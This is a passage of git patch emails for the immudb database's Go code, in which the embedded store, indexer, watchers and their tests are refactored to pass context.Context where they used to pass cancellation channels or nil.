tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3796,10 +3797,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) @@ -3842,7 +3843,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when reading more entries than expected", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3851,10 +3852,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key5"), nil, []byte("value5")) @@ -3886,7 +3887,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3895,10 +3896,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -3931,7 +3932,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by the ongoing transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3940,10 +3941,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -3976,7 +3977,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3988,10 +3989,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx(DefaultTxOptions()) + tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -4034,7 +4035,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { defer immuStore.Close() t.Run("MVCC read-set limit should be reached when randomly reading keys", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4052,7 +4053,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should not be reached when reading an updated key", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4070,7 +4071,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reading keys by prefix", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4088,7 +4089,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should not be reached when reading an updated entries", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4106,7 +4107,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when scanning out of read-set boundaries", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4134,7 +4135,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reseting a reader out of read-set boundaries", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4162,7 +4163,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reading non-updated keys", func(t *testing.T) { - tx1, err := immuStore.NewTx(DefaultTxOptions()) + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4173,7 +4174,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx(DefaultTxOptions()) + tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 34a11c50b0..4fb30e0cda 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "io/ioutil" "os" "path/filepath" @@ -98,7 +99,7 @@ func TestMaxIndexWaitees(t *testing.T) { } // Store one transaction - tx, err := store.NewWriteOnlyTx() + tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1}, nil, []byte{2}) diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index 4886d99349..ba79b30da3 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "encoding/binary" "testing" @@ -34,7 +35,7 @@ func TestImmudbStoreReader(t *testing.T) { eCount := 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -93,7 +94,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { eCount := 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -157,7 +158,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { eCount := 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { @@ -220,7 +221,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { eCount := 100 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 27b28a1431..38d74c5292 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -18,6 +18,7 @@ package store import ( "bytes" + "context" "crypto/sha256" "errors" "fmt" @@ -27,7 +28,10 @@ import ( // OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW. // The snapshot may be locally modified but isolated from other transactions type OngoingTx struct { - st *ImmuStore + st *ImmuStore + + ctx context.Context + snap *Snapshot readOnly bool // MVCC validations are not needed for read-only transactions @@ -69,7 +73,7 @@ type EntrySpec struct { Value []byte } -func newOngoingTx(s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { +func newOngoingTx(s *ImmuStore, ctx context.Context, opts *TxOptions) (*OngoingTx, error) { err := opts.Validate() if err != nil { return nil, err @@ -77,6 +81,7 @@ func newOngoingTx(s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { tx := &OngoingTx{ st: s, + ctx: ctx, entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), } @@ -156,6 +161,10 @@ func (oref *ongoingValRef) Len() uint32 { return uint32(len(oref.value)) } +func (tx *OngoingTx) Context() context.Context { + return tx.ctx +} + func (tx *OngoingTx) IsWriteOnly() bool { return tx.snap == nil } diff --git a/embedded/store/tx_reader_test.go b/embedded/store/tx_reader_test.go index dc2ec70cce..f1a4311521 100644 --- a/embedded/store/tx_reader_test.go +++ b/embedded/store/tx_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "encoding/binary" "errors" "testing" @@ -37,7 +38,7 @@ func TestTxReader(t *testing.T) { eCount := 10 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index b92c5fa60f..55082f2ea9 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "crypto/sha256" "encoding/binary" "path/filepath" @@ -67,7 +68,7 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { eCount := 4 for i := 0; i < txCount; i++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index 99761ecce4..61756a160f 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -18,6 +18,7 @@ package main import ( "bytes" + "context" "encoding/base64" "encoding/binary" "flag" @@ -118,7 +119,7 @@ func main() { defer st.Close() - tx, err := st.NewWriteOnlyTx() + tx, err := st.NewWriteOnlyTx(context.Background()) if err != nil { panic(err) } @@ -178,7 +179,7 @@ func main() { } if *action == "set" { - tx, err := st.NewWriteOnlyTx() + tx, err := st.NewWriteOnlyTx(context.Background()) if err != nil { panic(err) } @@ -269,7 +270,7 @@ func main() { ids := make([]uint64, *txCount) for t := 0; t < *txCount; t++ { - tx, err := immuStore.NewWriteOnlyTx() + tx, err := immuStore.NewWriteOnlyTx(context.Background()) if err != nil { panic(err) } From ea4b84ca7cdd4474ad136ff4bf5cf9a0bebce01d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 18:59:18 -0300 Subject: [PATCH 0138/1062] chore(embedded/watchers): use context instead of cancellation channel Signed-off-by: Jeronimo Irazabal --- embedded/watchers/watchers.go | 5 +++-- embedded/watchers/watchers_test.go | 14 +++++++------- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/embedded/watchers/watchers.go b/embedded/watchers/watchers.go index 13386c0349..74b284adb8 100644 --- a/embedded/watchers/watchers.go +++ b/embedded/watchers/watchers.go @@ -17,6 +17,7 @@ limitations under the License. package watchers import ( + "context" "errors" "sync" ) @@ -94,7 +95,7 @@ func (w *WatchersHub) DoneUpto(t uint64) error { return nil } -func (w *WatchersHub) WaitFor(t uint64, cancellation <-chan struct{}) error { +func (w *WatchersHub) WaitFor(t uint64, ctx context.Context) error { w.mutex.Lock() defer w.mutex.Unlock() @@ -126,7 +127,7 @@ func (w *WatchersHub) WaitFor(t uint64, cancellation <-chan struct{}) error { select { case <-wp.ch: break - case <-cancellation: + case <-ctx.Done(): cancelled = true } diff --git a/embedded/watchers/watchers_test.go b/embedded/watchers/watchers_test.go index 7bf35ba953..93428f29b7 100644 --- a/embedded/watchers/watchers_test.go +++ b/embedded/watchers/watchers_test.go @@ -37,7 +37,7 @@ func TestWatchersHub(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond) defer cancel() - err := wHub.WaitFor(1, ctx.Done()) + err := wHub.WaitFor(1, ctx) require.ErrorIs(t, err, ErrCancellationRequested) doneUpto, waiting, err := wHub.Status() @@ -52,7 +52,7 @@ func TestWatchersHub(t *testing.T) { for i := 1; i <= waitessCount; i++ { go func(i uint64) { defer wg.Done() - err := wHub.WaitFor(i, nil) + err := wHub.WaitFor(i, context.Background()) require.NoError(t, err) }(uint64(i)) } @@ -60,7 +60,7 @@ func TestWatchersHub(t *testing.T) { time.Sleep(10 * time.Millisecond) - err = wHub.WaitFor(uint64(waitessCount*2+1), nil) + err = wHub.WaitFor(uint64(waitessCount*2+1), context.Background()) require.ErrorIs(t, err, ErrMaxWaitessLimitExceeded) done := make(chan struct{}) @@ -92,14 +92,14 @@ func TestWatchersHub(t *testing.T) { t.FailNow() } - err = wHub.WaitFor(5, nil) + err = wHub.WaitFor(5, context.Background()) require.NoError(t, err) wg.Add(1) go func() { defer wg.Done() - err := wHub.WaitFor(uint64(waitessCount)+1, nil) + err := wHub.WaitFor(uint64(waitessCount)+1, context.Background()) if !errors.Is(err, ErrAlreadyClosed) { require.NoError(t, err) } @@ -116,7 +116,7 @@ func TestWatchersHub(t *testing.T) { t.FailNow() } - err = wHub.WaitFor(0, nil) + err = wHub.WaitFor(0, context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) err = wHub.DoneUpto(0) @@ -149,7 +149,7 @@ func TestSimultaneousCancellationAndNotification(t *testing.T) { doneUpTo, _, err := wHub.Status() require.NoError(t, err) - err = wHub.WaitFor(j, ctx.Done()) + err = wHub.WaitFor(j, ctx) if errors.Is(err, ErrCancellationRequested) { // Check internal invariant of the wHub // Since we got cancel request it must only happen From 6138a8904a6ffcb0e8bb8d6a91cab74ec0181fd4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 19:14:35 -0300 Subject: [PATCH 0139/1062] chore(embedded/store): propagate context usage Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 44 +++++++++++++++++--------------- embedded/store/immustore_test.go | 20 +++++++-------- embedded/store/indexer.go | 6 ++--- embedded/store/indexer_test.go | 2 +- embedded/store/ongoing_tx.go | 2 +- 5 files changed, 39 insertions(+), 35 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index ced29c900c..236dfdca7c 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -573,7 +573,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable committedTxID := store.LastCommittedTxID() // passive wait for one new transaction at least - store.inmemPrecommitWHub.WaitFor(committedTxID+1, nil) + store.inmemPrecommitWHub.WaitFor(committedTxID+1, context.Background()) // TODO: waiting on earlier stages of transaction processing may also be possible prevLatestPrecommitedTx := committedTxID + 1 @@ -764,20 +764,20 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { // SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot may be used. -func (s *ImmuStore) SnapshotMustIncludeTxID(txID uint64) (*Snapshot, error) { - return s.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, 0) +func (s *ImmuStore) SnapshotMustIncludeTxID(txID uint64, ctx context.Context) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, 0, ctx) } // SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration -func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration, ctx context.Context) (*Snapshot, error) { if txID > s.lastPrecommittedTxID() { return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - err := s.WaitForIndexingUpto(txID, nil) + err := s.WaitForIndexingUpto(txID, ctx) if err != nil { return nil, err } @@ -864,7 +864,7 @@ func (s *ImmuStore) syncBinaryLinking() error { return nil } -func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, cancellation <-chan struct{}) error { +func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, ctx context.Context) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { @@ -885,9 +885,9 @@ func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, cancellation var err error if allowPrecommitted { - err = s.durablePrecommitWHub.WaitFor(txID, cancellation) + err = s.durablePrecommitWHub.WaitFor(txID, ctx) } else { - err = s.commitWHub.WaitFor(txID, cancellation) + err = s.commitWHub.WaitFor(txID, ctx) } if err == watchers.ErrAlreadyClosed { return ErrAlreadyClosed @@ -895,7 +895,7 @@ func (s *ImmuStore) WaitForTx(txID uint64, allowPrecommitted bool, cancellation return err } -func (s *ImmuStore) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { +func (s *ImmuStore) WaitForIndexingUpto(txID uint64, ctx context.Context) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { @@ -913,7 +913,7 @@ func (s *ImmuStore) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{ s.waiteesMutex.Unlock() }() - return s.indexer.WaitForIndexingUpto(txID, cancellation) + return s.indexer.WaitForIndexingUpto(txID, ctx) } func (s *ImmuStore) CompactIndex() error { @@ -1088,7 +1088,8 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde } // note: durability is ensured only if the store is in sync mode - err = s.commitWHub.WaitFor(hdr.ID, nil) + // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header + err = s.commitWHub.WaitFor(hdr.ID, context.Background()) if err == watchers.ErrAlreadyClosed { return hdr, ErrAlreadyClosed } @@ -1097,7 +1098,7 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde } if waitForIndexing { - err = s.WaitForIndexingUpto(hdr.ID, nil) + err = s.WaitForIndexingUpto(hdr.ID, otx.Context()) if err != nil { return hdr, err } @@ -1181,7 +1182,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) } // ensure tx is committed in the expected order - err = s.inmemPrecommitWHub.WaitFor(hdr.ID-1, nil) + err = s.inmemPrecommitWHub.WaitFor(hdr.ID-1, otx.Context()) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } @@ -1240,7 +1241,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) if otx.hasPreconditions() { // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(currPrecomittedTxID, nil) + err = s.WaitForIndexingUpto(currPrecomittedTxID, otx.Context()) if err != nil { return nil, err } @@ -1614,7 +1615,8 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } // note: durability is ensured only if the store is in sync mode - err = s.commitWHub.WaitFor(hdr.ID, nil) + // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header + err = s.commitWHub.WaitFor(hdr.ID, context.Background()) if errors.Is(err, watchers.ErrAlreadyClosed) { return hdr, ErrAlreadyClosed } @@ -1623,7 +1625,7 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } if waitForIndexing { - err = s.WaitForIndexingUpto(hdr.ID, nil) + err = s.WaitForIndexingUpto(hdr.ID, ctx) if err != nil { return hdr, err } @@ -1701,7 +1703,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 s.indexer.Resume() // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(lastPreCommittedTxID, nil) + err = s.WaitForIndexingUpto(lastPreCommittedTxID, ctx) if err != nil { return nil, err } @@ -2179,7 +2181,8 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI return nil, err } - err = s.durablePrecommitWHub.WaitFor(txHdr.ID, nil) + // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header + err = s.durablePrecommitWHub.WaitFor(txHdr.ID, context.Background()) if err == watchers.ErrAlreadyClosed { return txHdr, ErrAlreadyClosed } @@ -2188,7 +2191,8 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } if !s.useExternalCommitAllowance { - err = s.commitWHub.WaitFor(txHdr.ID, nil) + // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header + err = s.commitWHub.WaitFor(txHdr.ID, context.Background()) if err == watchers.ErrAlreadyClosed { return txHdr, ErrAlreadyClosed } @@ -2197,7 +2201,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } if waitForIndexing { - err = s.WaitForIndexingUpto(txHdr.ID, nil) + err = s.WaitForIndexingUpto(txHdr.ID, txSpec.Context()) if err != nil { return txHdr, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index b0da8a4976..74ec96bfde 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -906,7 +906,7 @@ func TestImmudbStoreIndexing(t *testing.T) { for { txID, _ := immuStore.CommittedAlh() - snap, err := immuStore.SnapshotMustIncludeTxID(txID) + snap, err := immuStore.SnapshotMustIncludeTxID(txID, context.Background()) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { @@ -1870,10 +1870,10 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) - err = immuStore.WaitForTx(txhdr.ID, false, nil) + err = immuStore.WaitForTx(txhdr.ID, false, context.Background()) require.NoError(t, err) - err = immuStore.WaitForIndexingUpto(txhdr.ID, nil) + err = immuStore.WaitForIndexingUpto(txhdr.ID, context.Background()) require.NoError(t, err) var k0 [8]byte @@ -2586,7 +2586,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { return } - err = replicaStore.WaitForTx(uint64(txCount), false, nil) + err = replicaStore.WaitForTx(uint64(txCount), false, context.Background()) require.NoError(t, err) } @@ -3078,7 +3078,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { immuStore, err = Open(dir, DefaultOptions()) require.NoError(t, err) - err = immuStore.WaitForIndexingUpto(hdr1.ID, nil) + err = immuStore.WaitForIndexingUpto(hdr1.ID, context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) @@ -3392,7 +3392,7 @@ func TestImmudbStoreExternalCommitAllowance(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, nil) + err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) require.NoError(t, err) go func() { @@ -3450,7 +3450,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, nil) + err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) require.NoError(t, err) err = immuStore.Close() @@ -3462,7 +3462,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { err = immuStore.AllowCommitUpto(uint64(txCount)) require.NoError(t, err) - err = immuStore.WaitForTx(uint64(txCount), false, nil) + err = immuStore.WaitForTx(uint64(txCount), false, context.Background()) require.NoError(t, err) err = immuStore.Close() @@ -3510,7 +3510,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { }() } - err = immuStore.WaitForTx(uint64(txCount), true, nil) + err = immuStore.WaitForTx(uint64(txCount), true, context.Background()) require.NoError(t, err) err = immuStore.Close() @@ -3530,7 +3530,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) require.Zero(t, n) - err = immuStore.WaitForTx(uint64(txCount/2), false, nil) + err = immuStore.WaitForTx(uint64(txCount/2), false, context.Background()) require.NoError(t, err) // discard all expect one precommitted tx diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 565ae5530f..5e10c09efb 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -254,9 +254,9 @@ func (idx *indexer) Close() error { return idx.index.Close() } -func (idx *indexer) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { +func (idx *indexer) WaitForIndexingUpto(txID uint64, ctx context.Context) error { if idx.wHub != nil { - err := idx.wHub.WaitFor(txID, cancellation) + err := idx.wHub.WaitFor(txID, ctx) if err == watchers.ErrAlreadyClosed { return ErrAlreadyClosed } @@ -381,7 +381,7 @@ func (idx *indexer) doIndexing() { idx.wHub.DoneUpto(lastIndexedTx) } - err := idx.store.commitWHub.WaitFor(lastIndexedTx+1, idx.ctx.Done()) + err := idx.store.commitWHub.WaitFor(lastIndexedTx+1, idx.ctx) if err == watchers.ErrCancellationRequested || err == watchers.ErrAlreadyClosed { return } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 4fb30e0cda..44cf221680 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -86,7 +86,7 @@ func TestMaxIndexWaitees(t *testing.T) { errCh := make(chan error) for i := 0; i < 2; i++ { go func() { - errCh <- store.WaitForIndexingUpto(1, make(<-chan struct{})) + errCh <- store.WaitForIndexingUpto(1, context.Background()) }() } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 38d74c5292..f9c498d2de 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -98,7 +98,7 @@ func newOngoingTx(s *ImmuStore, ctx context.Context, opts *TxOptions) (*OngoingT snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.lastPrecommittedTxID()) } - snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod) + snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod, ctx) if err != nil { return nil, err } From 226986e386e625041be302668ba92764b6d69429 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 19:18:49 -0300 Subject: [PATCH 0140/1062] chore(embedded/watchers): set ctx as first arg Signed-off-by: Jeronimo Irazabal --- embedded/watchers/watchers.go | 2 +- embedded/watchers/watchers_test.go | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/embedded/watchers/watchers.go b/embedded/watchers/watchers.go index 74b284adb8..bceb1cf103 100644 --- a/embedded/watchers/watchers.go +++ b/embedded/watchers/watchers.go @@ -95,7 +95,7 @@ func (w *WatchersHub) DoneUpto(t uint64) error { return nil } -func (w *WatchersHub) WaitFor(t uint64, ctx context.Context) error { +func (w *WatchersHub) WaitFor(ctx context.Context, t uint64) error { w.mutex.Lock() defer w.mutex.Unlock() diff --git a/embedded/watchers/watchers_test.go b/embedded/watchers/watchers_test.go index 93428f29b7..5786ec2587 100644 --- a/embedded/watchers/watchers_test.go +++ b/embedded/watchers/watchers_test.go @@ -37,7 +37,7 @@ func TestWatchersHub(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond) defer cancel() - err := wHub.WaitFor(1, ctx) + err := wHub.WaitFor(ctx, 1) require.ErrorIs(t, err, ErrCancellationRequested) doneUpto, waiting, err := wHub.Status() @@ -52,7 +52,7 @@ func TestWatchersHub(t *testing.T) { for i := 1; i <= waitessCount; i++ { go func(i uint64) { defer wg.Done() - err := wHub.WaitFor(i, context.Background()) + err := wHub.WaitFor(context.Background(), i) require.NoError(t, err) }(uint64(i)) } @@ -60,7 +60,7 @@ func TestWatchersHub(t *testing.T) { time.Sleep(10 * time.Millisecond) - err = wHub.WaitFor(uint64(waitessCount*2+1), context.Background()) + err = wHub.WaitFor(context.Background(), uint64(waitessCount*2+1)) require.ErrorIs(t, err, ErrMaxWaitessLimitExceeded) done := make(chan struct{}) @@ -92,14 +92,14 @@ func TestWatchersHub(t *testing.T) { t.FailNow() } - err = wHub.WaitFor(5, context.Background()) + err = 